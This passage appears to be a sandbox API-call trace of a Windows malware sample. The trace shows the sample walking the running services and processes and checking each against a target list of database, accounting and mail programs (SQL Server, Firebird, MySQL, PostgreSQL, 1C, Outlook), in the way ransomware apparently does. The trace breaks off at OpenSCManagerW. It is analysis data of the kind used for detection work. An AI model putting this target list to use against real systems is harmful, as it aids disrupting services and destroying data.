[0041.710] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0041.710] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0041.710] lstrlenW (lpString="SysMain") returned 7 [0041.710] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0041.710] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0041.710] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0041.710] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0041.710] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0041.710] lstrlenW (lpString="Themes") returned 6 [0041.710] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0041.710] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0041.710] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0041.710] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0041.710] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0041.710] lstrlenW (lpString="TrkWks") returned 6 [0041.710] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0041.710] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0041.710] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0041.710] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0041.710] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0041.710] lstrlenW (lpString="UxSms") returned 5 [0041.710] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0041.710] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0041.710] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0041.710] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0041.711] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0041.711] lstrlenW (lpString="WdiServiceHost") returned 14 [0041.711] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0041.711] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0041.711] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0041.711] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0041.711] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0041.711] lstrlenW (lpString="WdiSystemHost") returned 13 [0041.711] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0041.711] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0041.711] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0041.711] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0041.711] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0041.711] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0041.711] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0041.711] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0041.711] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0041.711] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0041.711] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0041.711] lstrlenW (lpString="Winmgmt") returned 7 [0041.711] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0041.711] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0041.711] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0041.711] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0041.711] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0041.711] lstrlenW (lpString="WPDBusEnum") returned 10 [0041.711] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0041.711] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0041.711] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0041.711] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0041.711] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0041.711] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x72e4c0 | out: hHeap=0x6c0000) returned 1 [0041.711] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x118 [0041.714] Process32FirstW (in: hSnapshot=0x118, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0041.714] Process32NextW (in: hSnapshot=0x118, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0041.714] lstrlenW (lpString="System") returned 6 [0041.714] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0041.714] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0041.715] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0041.715] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0041.715] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0041.715] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0041.715] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0041.715] Process32NextW (in: hSnapshot=0x118, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0041.715] lstrlenW (lpString="smss.exe") returned 8 [0041.715] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0041.715] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0041.715] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0041.715] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0041.715] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0041.715] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0041.715] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0041.715] Process32NextW (in: hSnapshot=0x118, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0041.716] lstrlenW (lpString="csrss.exe") returned 9 [0041.716] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0041.716] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0041.716] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0041.716] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0041.716] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0041.716] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0041.716] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0041.716] Process32NextW (in: hSnapshot=0x118, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0041.717] lstrlenW (lpString="wininit.exe") returned 11 [0041.717] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0041.717] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0041.717] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0041.717] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0041.717] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0041.717] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0041.717] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0041.717] Process32NextW (in: hSnapshot=0x118, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0041.717] lstrlenW (lpString="csrss.exe") returned 9 [0041.717] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0041.717] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0041.717] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0041.717] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0041.717] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0041.717] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0041.718] Process32NextW (in: hSnapshot=0x118, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0041.718] lstrlenW (lpString="winlogon.exe") returned 12 [0041.718] Process32NextW (in: hSnapshot=0x118, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0041.718] lstrlenW (lpString="services.exe") returned 12 [0041.718] Process32NextW (in: hSnapshot=0x118, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0041.719] lstrlenW (lpString="lsass.exe") returned 9 [0041.719] Process32NextW (in: hSnapshot=0x118, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0041.719] lstrlenW (lpString="lsm.exe") returned 7 [0041.719] Process32NextW (in: hSnapshot=0x118, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0041.720] lstrlenW (lpString="svchost.exe") returned 11 [0041.720] Process32NextW (in: hSnapshot=0x118, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0041.720] lstrlenW (lpString="svchost.exe") returned 11 [0041.720] Process32NextW (in: hSnapshot=0x118, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0041.721] lstrlenW (lpString="svchost.exe") returned 11 [0041.721] Process32NextW (in: hSnapshot=0x118, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0041.721] lstrlenW (lpString="svchost.exe") returned 11 [0041.721] Process32NextW (in: hSnapshot=0x118, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x28, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0041.722] lstrlenW (lpString="svchost.exe") returned 11 [0041.722] Process32NextW (in: hSnapshot=0x118, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0041.722] lstrlenW (lpString="audiodg.exe") returned 11 [0041.722] Process32NextW (in: hSnapshot=0x118, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0041.723] lstrlenW (lpString="svchost.exe") returned 11 [0041.723] Process32NextW (in: hSnapshot=0x118, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0041.723] lstrlenW (lpString="svchost.exe") returned 11 [0041.723] Process32NextW (in: hSnapshot=0x118, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0041.724] lstrlenW (lpString="dwm.exe") returned 7 [0041.724] Process32NextW (in: hSnapshot=0x118, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0041.724] lstrlenW (lpString="explorer.exe") returned 12 [0041.724] Process32NextW (in: hSnapshot=0x118, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0041.725] lstrlenW (lpString="spoolsv.exe") returned 11 [0041.725] Process32NextW (in: hSnapshot=0x118, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0041.725] lstrlenW (lpString="taskhost.exe") returned 12 [0041.725] Process32NextW (in: hSnapshot=0x118, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0041.726] lstrlenW (lpString="svchost.exe") returned 11 [0041.726] Process32NextW (in: hSnapshot=0x118, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0041.726] lstrlenW (lpString="taskeng.exe") returned 11 [0041.726] Process32NextW (in: hSnapshot=0x118, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0041.726] lstrlenW (lpString="taskhost.exe") returned 12 [0041.727] Process32NextW (in: hSnapshot=0x118, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x788, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="br_maintaining.exe")) returned 1 [0041.727] lstrlenW (lpString="br_maintaining.exe") returned 18 [0041.727] Process32NextW (in: hSnapshot=0x118, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="kitsenormous.exe")) returned 1 [0041.727] lstrlenW (lpString="kitsenormous.exe") returned 16 [0041.727] Process32NextW (in: hSnapshot=0x118, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x62c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="intermediate-components.exe")) returned 1 [0041.728] lstrlenW (lpString="intermediate-components.exe") returned 27 [0041.728] Process32NextW (in: hSnapshot=0x118, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="eminem_immigration.exe")) returned 1 [0041.728] lstrlenW (lpString="eminem_immigration.exe") returned 22 [0041.728] Process32NextW (in: hSnapshot=0x118, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x780, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="psp-glenn-elements.exe")) returned 1 [0041.729] lstrlenW (lpString="psp-glenn-elements.exe") returned 22 [0041.729] Process32NextW (in: hSnapshot=0x118, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x240, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="stupid.exe")) returned 1 [0041.729] lstrlenW (lpString="stupid.exe") returned 10 [0041.729] Process32NextW (in: hSnapshot=0x118, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="area_burst_factors.exe")) returned 1 [0041.730] lstrlenW (lpString="area_burst_factors.exe") returned 22 [0041.730] Process32NextW (in: hSnapshot=0x118, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="addition.exe")) returned 1 [0041.730] lstrlenW (lpString="addition.exe") returned 12 [0041.730] Process32NextW (in: hSnapshot=0x118, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x724, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="kept retirement.exe")) returned 1 [0041.731] lstrlenW (lpString="kept retirement.exe") returned 19 [0041.731] Process32NextW (in: hSnapshot=0x118, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lmmold.exe")) returned 1 [0041.731] lstrlenW (lpString="lmmold.exe") returned 10 [0041.732] Process32NextW (in: hSnapshot=0x118, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="soma weighted.exe")) returned 1 [0041.732] lstrlenW (lpString="soma weighted.exe") returned 17 [0041.732] Process32NextW (in: hSnapshot=0x118, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cartridge donation.exe")) returned 1 [0041.732] lstrlenW (lpString="cartridge donation.exe") returned 22 [0041.732] Process32NextW (in: hSnapshot=0x118, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="anti.exe")) returned 1 [0041.733] lstrlenW (lpString="anti.exe") returned 8 [0041.733] Process32NextW (in: hSnapshot=0x118, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cashiersshot.exe")) returned 1 [0041.733] lstrlenW (lpString="cashiersshot.exe") returned 16 [0041.733] Process32NextW (in: hSnapshot=0x118, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="poundfi.exe")) returned 1 [0041.734] lstrlenW (lpString="poundfi.exe") returned 11 [0041.734] Process32NextW (in: hSnapshot=0x118, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conditions_hired.exe")) returned 1 [0041.734] lstrlenW (lpString="conditions_hired.exe") returned 20 [0041.734] Process32NextW (in: hSnapshot=0x118, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mercedes.exe")) returned 1 [0041.735] lstrlenW (lpString="mercedes.exe") returned 12 [0041.735] Process32NextW (in: hSnapshot=0x118, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x53c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="intake ringtones vegetables.exe")) returned 1 [0041.735] lstrlenW (lpString="intake ringtones vegetables.exe") returned 31 [0041.735] Process32NextW (in: hSnapshot=0x118, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="training_wiring.exe")) returned 1 [0041.736] lstrlenW (lpString="training_wiring.exe") returned 19 [0041.736] Process32NextW (in: hSnapshot=0x118, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="democratic.exe")) returned 1 [0041.736] lstrlenW (lpString="democratic.exe") returned 14 [0041.736] Process32NextW (in: hSnapshot=0x118, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="soc_housewares_senate.exe")) returned 1 [0041.737] lstrlenW (lpString="soc_housewares_senate.exe") returned 25 [0041.737] Process32NextW (in: hSnapshot=0x118, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="receptors trustees ul.exe")) returned 1 [0041.737] lstrlenW (lpString="receptors trustees ul.exe") returned 25 [0041.737] Process32NextW (in: hSnapshot=0x118, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="documented.exe")) returned 1 [0041.738] lstrlenW (lpString="documented.exe") returned 14 [0041.738] Process32NextW (in: hSnapshot=0x118, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x808, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0041.738] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0041.738] Process32NextW (in: hSnapshot=0x118, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x984, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0041.738] lstrlenW (lpString="n.exe") returned 5 [0041.738] Process32NextW (in: hSnapshot=0x118, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xa70, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0041.739] lstrlenW (lpString="cmd.exe") returned 7 [0041.739] Process32NextW (in: hSnapshot=0x118, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xa70, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 0 [0041.739] CloseHandle (hObject=0x118) returned 1 [0041.739] Sleep (dwMilliseconds=0x1f4) [0043.208] OpenSCManagerW 